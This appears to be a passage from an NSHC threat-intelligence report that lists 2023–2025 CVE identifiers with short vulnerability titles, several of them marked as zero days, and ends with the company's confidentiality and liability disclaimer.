- CVE-2023-36844 Juniper Junos OS EX Series PHP External Variable Modification
Vulnerability

- CVE-2023-36874 Microsoft Windows Error Reporting Service Privilege Escalation
Vulnerability

- CVE-2023-36884 Windows Search Remote Code Execution Vulnerability (Zero Day)

- CVE-2023-37580 A cross-site scripting (XSS) vulnerability that was present in the

in the Zimbra Classic Web Client has been addressed (Zero Day)

- CVE-2023-37582 RocketMQ NameServer component Remote Command Execution

Vulnerability
- CVE-2023-38035 Ivanti Sentry Authentication Bypass Vulnerability
- CVE-2023-38180 .NET and Visual Studio Denial of Service Vulnerability (Zero Day)
- CVE-2023-38203 Deserialization of Untrusted Data
- CVE-2023-38204 Deserialization of Untrusted Data
- CVE-2023-38205 Improper Access Control
- CVE-2023-38206 Improper Access Control
- CVE-2023-38408 OpenSSH Remote code execution Vulnerability
- CVE-2023-38646 Metabase Remote Code Execution
- CVE-2023-38743 Authenticated RCE vulnerability - ManageEngine ADManager Plus
- CVE-2023-38817 Inspect Element Ltd Echo.ac Privilege Escalation Vulnerability
- CVE-2023-38831 RARLAB WIinRAR Code Execution Vulnerability (Zero Day)
- CVE-2023-39415 Proself provided by North Grid Corporation contains multiple

vulnerabilities

- CVE-2023-40044 Progress WS_FTP Server Deserialization of Untrusted Data

Vulnerability
- CVE-2023-41265 Qlik Sense HTTP Tunneling Vulnerability
- CVE-2023-41266 Qlik Sense Path Traversal Vulnerability
- CVE-2023-41892 Craft CMS Remote Code Execution Vulnerability
- CVE-2023-41991 Apple Multiple Products Improper Certificate Validation

Vulnerability
- CVE-2023-41992 Apple Multiple Products Kernel Privilege Escalation Vulnerability
- CVE-2023-41993 Apple Multiple Products WebKit Code Execution Vulnerability
- CVE-2023-42657 WS_FTP Server Critical Vulnerability
- CVE-2023-42793 JetBrains TeamCity Authentication Bypass Vulnerability
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https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36802
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36802
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- CVE-2023-43478 Telstra Smart Modem Gen 2 Arbitrary File Upload Vulnerability
- CVE-2023-45727 Improper restriction of XML external entity references (XXE) in

Proself
- CVE-2023-45797 A Buffer overflow vulnerability in Dreamsecurity MagicLine4NX

versions 1.0.0.1 to 1.0.0.26 allows an attacker to remotely execute code

- CVE-2023-46604 The Java OpenWire protocol marshaller is vulnerable to Remote

Code Execution
- CVE-2023-46747 BIG-IP Configuration utility unauthenticated remote code

execution vulnerability
- CVE-2023-46748 BIG-IP Configuration utility authenticated SQL injection

vulnerability
- CVE-2023-47218 QNAP QTS OS Command Injection Vulnerability
- CVE-2023-47246 SysAid Server Path Traversal Vulnerability (Zero Day)
- CVE-2023-47272 Roundcube 1.5.x before 1.5.6 and 1.6.x before 1.6.5 allows XSS

via a Content-Type or Content-Disposition header
- CVE-2023-47565 QNAP VioStor NVR OS Command Injection Vulnerability
- CVE-2023-46805 Ivanti Connect Secure Unauthenticated Remote Code Execution

(Zero Day)
- CVE-2023-48365 HTTP Tunneling vulnerability in Qlik Sense Enterprise for

Windows

- CVE-2023-48788 Fortinet FortiClient EMS SQL Injection Vulnerability

- CVE-2023-49103 ownCloud graphapi Information Disclosure Vulnerability
- CVE-2023-49897 FXC AE1021, AE1021PE OS Command Injection Vulnerability
- CVE-2023-50386 Apache Solr Backup/Restore APIs allow for deployment of

executables in malicious ConfigSets

- CVE-2024-0012 Palo Alto Networks PAN-OS Management Interface Authentication

Bypass Vulnerability
- CVE-2024-0778 Uniview ISC 2500-S up to 20210930 VM.php setNatConfig

natAddress/natPort/natServerPort os command injection

- CVE-2024-1708 Improper limitation of a pathname to a restricted directory (“path

traversal”)

- CVE-2024-1709 Authentication bypass using an alternate path or channel

- CVE-2024-1800 Progress Telerik Report Server Insecure Deserialization

Vulnerability
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- CVE-2024-1853 Zemana AntiLogger v2.74.204.664 Arbitrary Process Termination
Vulnerability

- CVE-2024-2848 Wordpress Responsive theme: arbitrary HTML content injection

- CVE-2024-3094 xz: malicious code in distributed source

- CVE-2024-3272 D-Link Multiple NAS Devices Use of Hard-Coded Credentials
Vulnerability

- CVE-2024-3273 D-Link Multiple NAS Devices Command Injection Vulnerability

- CVE-2024-3400 Palo Alto Networks PAN-OS Command Injection Vulnerability

(Zero Day)
- CVE-2024-3721 OS command injection vulnerability in TBK DVR devices via

/device.rsp

- CVE-2024-4358 Progress Telerik Report Server Authentication Bypass by Spoofing

Vulnerability
- CVE-2024-4577 PHP-CGI OS Command Injection Vulnerability
- CVE-2024-4671 Google Chromium Visuals Use-After-Free Vulnerability
- CVE-2024-4947 Google Chromium V8 Type Confusion Vulnerability (Zero Day)
- CVE-2024-4978 Justice AV Solutions (JAVS) Viewer Installer Embedded Malicious

Code Vulnerability

- CVE-2024-5217 ServiceNow Incomplete List of Disallowed Inputs Vulnerability

- CVE-2024-5274 Google Chromium V8 Type Confusion Vulnerability

- CVE-2024-6387 openssh: regreSSHion - race condition in SSH allows RCE/DoS

- CVE-2024-7014 Telegram for Android EvilVideo Vulnerability

- CVE-2024-7029 AVTECH IP camera Command Injection Vulnerability (Zero Day)

- CVE-2024-7214 OS command injection vulnerability in TOTOLINK LR350
setWanCfg handler

- CVE-2024-7262 Kingsoft WPS Office Path Traversal Vulnerability

- CVE-2024-7263 Kingsoft WPS Office Path Traversal Vulnerability

- CVE-2024-7971 Google Chromium V8 Type Confusion Vulnerability (Zero Day)

- CVE-2024-8190 Ivanti Cloud Services Appliance OS Command Injection

Vulnerability
- CVE-2024-8956 PTZOptics PT30X-SDI/NDI Cameras Authentication Bypass

Vulnerability  (Zero Day)

- CVE-2024-8957 PTZOptics PT30X-SDI/NDI Cameras OS Command Injection
Vulnerability  (Zero Day)

- CVE-2024-8963 Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability
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- CVE-2024-9379 Ivanti Cloud Services Appliance (CSA) SQL Injection Vulnerability

- CVE-2024-9380 Ivanti Cloud Services Appliance (CSA) OS Command Injection
Vulnerability

- CVE-2024-9474 Palo Alto Networks PAN-OS Management Interface OS Command

Injection Vulnerability
- CVE-2024-9680 Mozilla Firefox Remote Code Execution vulnerability
- CVE-2024-12856 Four-Faith Industrial Router Authenticated Command Injection

Vulnerability (Zero Day)
- CVE-2024-20353 Cisco ASA and FTD Denial of Service Vulnerability (Zero Day)
- CVE-2024-20359 Cisco ASA and FTD Privilege Escalation Vulnerability (Zero Day)
- CVE-2024-20399 Cisco NX-OS Command Injection Vulnerability
- CVE-2024-20720 Adobe Commerce versions 2.4.6-p3, 2.4.5-p5, 2.4.4-p6 and

earlier are affected by an Improper Neutralization of Special Elements used in an

0OS Command ('OS Command Injection') vulnerability that could lead in arbitrary

code execution by an attacker. Exploitation of this issue does not require user

interaction
- CVE-2024-21338 Windows Kernel Elevation of Privilege Vulnerability (Zero Day)
- CVE-2024-21410 Microsoft Exchange Server Elevation of Privilege Vulnerability
- CVE-2024-21412 Internet Shortcut Files Security Feature Bypass Vulnerability

(Zero Day)
- CVE-2024-21413 Microsoft Outlook Remote Code Execution Vulnerability
- CVE-2024-21762 Fortinet FortiOS Out-of-Bound Write Vulnerability

- CVE-2024-21887 Ivanti Connect Secure and Policy Secure Command Injection

Vulnerability (Zero Day)
- CVE-2024-21888 Privilege Escalation for Ivanti Connect Secure and Ivanti Policy

Secure (Zero Day)

- CVE-2024-21893 Ivanti Connect Secure, Policy Secure, and Neurons Server-Side

Request Forgery (SSRF) Vulnerability (Zero Day)

- CVE-2024-22024 (XXE) for Ivanti Connect Secure and Ivanti Policy Secure (Zero
Day)

- CVE-2024-23113 Fortinet Multiple Products Format String Vulnerability

- CVE-2024-23334 aiohttp.web.static(follow_symlinks=True) is vulnerable to

directory traversal
- CVE-2024-23692 Rejetto HTTP File Server Improper Neutralization of Special

Elements Used in a Template Engine Vulnerability
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- CVE-2024-23897 Arbitrary file read vulnerability through the CLI can lead to RCE

- CVE-2024-24919 Check Point Quantum Security Gateways Information Disclosure
Vulnerability

- CVE-2024-25852 Linksys RE7000 command injection vulnerability

- CVE-2024-26169 Microsoft Windows Error Reporting Service Improper Privilege

Management Vulnerability (Zero Day)
- CVE-2024-26229 Windows CSC Service Elevation of Privilege Vulnerability

- CVE-2024-27198 Authentication bypass allowing to perform admin actions was

possible

- CVE-2024-27199 Path traversal allowing to perform limited admin actions was

possible
- CVE-2024-28253 SpEL Injection in PUT /api/v1/policies
- CVE-2024-28254 SpEL Injection in “GET

/api/v1/events/subscriptions/validation/condition/<expr>"
- CVE-2024-28255 Authentication Bypass
- CVE-2024-28847 SpEL Injection in “PUT /api/v1l/events/subscriptions’
- CVE-2024-28848 SpEL Injection in “GET

/api/v1/policies/validation/condition/<expr>"

- CVE-2024-29269 Telesquare TLR-2005KSH Unauthorized Remote Command

Execution Vulnerability
- CVE-2024-29973 Zyxel NAS326 and NAS542 devices Command Execution
Vulnerability
- CVE-2024-30088 Microsoft Windows Kernel TOCTOU Race Condition Vulnerability
- CVE-2024-32113 Apache OFBiz Path Traversal Vulnerability

- CVE-2024-34102 Adobe Commerce and Magento Open Source Improper
Restriction of XML External Entity Reference (XXE) Vulnerability

- CVE-2024-36401 OSGeo GeoServer GeoTools Eval Injection Vulnerability

- CVE-2024-37085 VMware ESXi Authentication Bypass Vulnerability

- CVE-2024-38094 Microsoft SharePoint Deserialization Vulnerability

- CVE-2024-38106 Microsoft Windows Kernel Privilege Escalation Vulnerability

(Zero Day)
- CVE-2024-38112 Microsoft Windows MSHTML Platform Spoofing Vulnerability

(Zero Day)
- CVE-2024-38178 Microsoft Windows Scripting Engine Memory Corruption

Vulnerability (Zero-Day)
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- CVE-2024-38213 Microsoft Windows SmartScreen Security Feature Bypass
Vulnerability

- CVE-2024-38474 Alternate encoding flaw in mod_rewrite leading to unintended

script exposure
- CVE-2024-38476 Header parsing flaw in Apache HTTP Server enabling SSRF and

information leak

- CVE-2024-39717 Versa Director Dangerous File Type Upload Vulnerability (Zero
Day)

- CVE-2024-40521 SeaCMS Remote Code Execution Vulnerability

- CVE-2024-40711 Veeam Backup and Replication Deserialization Vulnerability
- CVE-2024-40766 SonicWall SonicOS Improper Access Control Vulnerability

- CVE-2024-41710 Mitel SIP Phones Argument Injection Vulnerability

- CVE-2024-43451 Microsoft Windows NTLMv2 Hash Disclosure Spoofing

Vulnerability (Zero Day)
- CVE-2024-43572 Microsoft Windows Management Console Remote Code Execution

Vulnerability

- CVE-2024-47575 Fortinet FortiManager Missing Authentication Vulnerability (Zero
Day)

- CVE-2024-49039 Microsoft Windows Task Scheduler Privilege Escalation

Vulnerability
- CVE-2024-49112 Windows Lightweight Directory Access Protocol (LDAP) Remote

Code Execution Vulnerability

- CVE-2024-49113 Windows Lightweight Directory Access Protocol (LDAP) Denial of

Service Vulnerability
- CVE-2024-50623 Cleo Multiple Products Unrestricted File Upload Vulnerability
- CVE-2024-55591 Fortinet FortiOS and FortiProxy Authentication Bypass

Vulnerability

- CVE-2024-55956 Cleo Multiple Products Unauthenticated File Upload Vulnerability

- CVE-2024-57726 SimpleHelp Privilege Escalation Vulnerability

- CVE-2024-57727 SimpleHelp Path Traversal Vulnerability

- CVE-2024-57728 SimpleHelp Arbitrary Code Execution Vulnerability

- CVE-2024-57968 Advantive VeraCore Unrestricted File Upload Vulnerability (Zero
Day)

- CVE-2025-0108 Palo Alto Networks PAN-OS Authentication Bypass Vulnerability
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- CVE-2025-0282 Ivanti Connect Secure, Policy Secure, and ZTA Gateways Stack-

Based Buffer Overflow Vulnerability (Zero Day)

- CVE-2025-0283 Ivanti Connect Secure, Policy Secure, and ZTA Gateways Privilege

Escalation Vulnerability
- CVE-2025-0411 7-Zip Mark of the Web Bypass Vulnerability (Zero Day)
- CVE-2025-0994 Trimble Cityworks Deserialization Vulnerability
- CVE-2025-1316 Edimax IC-7100 IP Camera OS Command Injection Vulnerability

- CVE-2025-21590 Juniper Junos OS Improper Isolation or Compartmentalization

Vulnerability
- CVE-2025-24813 Apache Tomcat Path Equivalence Vulnerability
- CVE-2025-25181 Advantive VeraCore SQL Injection Vulnerability (Zero Day)
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LEGAL DISCLAIMER

NSHC (NSHC Pte. Ltd.) takes no responsibility for any incorrect information
supplied to us by manufacturers or users. Quantitative market information
is based primarily on interviews and therefore is subject to fluctuations.
NSHC Research services are limited publications containing valuable market
information provided to a selected group of customers. Our customers

acknowledge, when ordering or downloading our publications

NSHC Research Services are for customers’ internal use and not for general
publication or disclosure to third parties. No part of this Research Service
may be given, lent, resold, or disclosed to noncustomers without written
permission. Furthermore, no part may be reproduced, stored in a retrieval
system, or transmitted in any form or by any means, electronic,
mechanical, photocopying, recording or otherwise, without the permission

of the publisher.

For information regarding permission, contact us. service@nshc.net

This document contains information that is the intellectual property of NSHC
Inc. and Red Alert team only. This document is received in confidence and
its contents cannot be disclosed or copied without the prior written consent
of NSHC. Nothing in this document constitutes a guaranty, warranty, or

license, expressed or implied.

NSHC disclaims all liability for all such guaranties, warranties, and licenses,
including but not limited to: Fitness for a particular purpose;
merchantability; non-infringement of intellectual property or other rights of

any third party or of NSHC.
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